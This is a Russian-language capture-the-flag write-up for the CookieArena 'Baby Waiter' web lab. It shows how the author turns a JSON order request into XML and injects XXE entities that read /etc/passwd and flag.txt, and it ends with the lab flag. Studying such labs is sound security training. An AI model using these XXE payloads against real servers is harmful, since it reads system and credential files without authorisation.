---
# System prepended metadata

title: Baby Waiter
tags: ['websec, lab', xxe, cookiearena]

---

Ссылка: https://battle.cookiearena.org/challenges/web/baby-waiter
***
# Анализирование
Сначала мы просмотрим веб-сайт, на веб-сайте есть функция заказа еды как на картинке ниже
![](https://hackmd.io/_uploads/BkCBgEIh2.png)
Каждый раз, когда мы выбираем и заказываем товар, мы получаем такой фрагмент json.
![](https://hackmd.io/_uploads/H1JsWNL22.png)
Вот мы можем предположить, что это уязвимость `xxe`. Сейчас мы эксплуатируем его.
***
# Эксплуатация
![](https://hackmd.io/_uploads/Hk7jMNInh.png)
Как видно на картинке выше, мы можем увидеть, что данные отправляются между интерфейсом и сервером в формате JSON.
Поэтому нам нужно преобразовать данные отправлены из формата JSON в формат XML.
```jso!
{
"table_num":"22",
"food":"Ice Scream"
}
```
Преобразование в формат XML будет выглядеть как ниже:
```xml!
<root>
    <table_num>22</table_num>
    <food>Ice Scream</food>
</root>
```
![](https://hackmd.io/_uploads/H17DuEU2n.png)

**Надо изменить `Content-Type: .../json` на `.../xml`**
Нам нужно обратить внимание на ответ сайта, тут только появляется фраза `Ice Scream`, так мы будим использовать полезную нагрузку следующим образом:
```xml!
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>
    <table_num>22</table_num>
    <food>&xxe;</food>
</root>
```
Полезная нагрузка выше используется технику атаки XXE, просто изменяет `Ice Scream` на `&xxe`; 
![](https://hackmd.io/_uploads/rk9OTEL23.png)
**Успешная атака**
Так как последняя полезная нагрузка: 
```xml!
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<root>
    <table_num>22</table_num>
    <food>&xxe;</food>
</root>
```
 Просто изменяет адрес, чтобы получить флаг.
 ![](https://hackmd.io/_uploads/rJ98C4Ln2.png)
**Получил флаг**: CHH{5ImPle_XX3_e902abf07b59e4a618d9f78a5cba1a98}
***
# Заключение
Спасибо за прочтение и увидимся в следующем посте. Пока!!!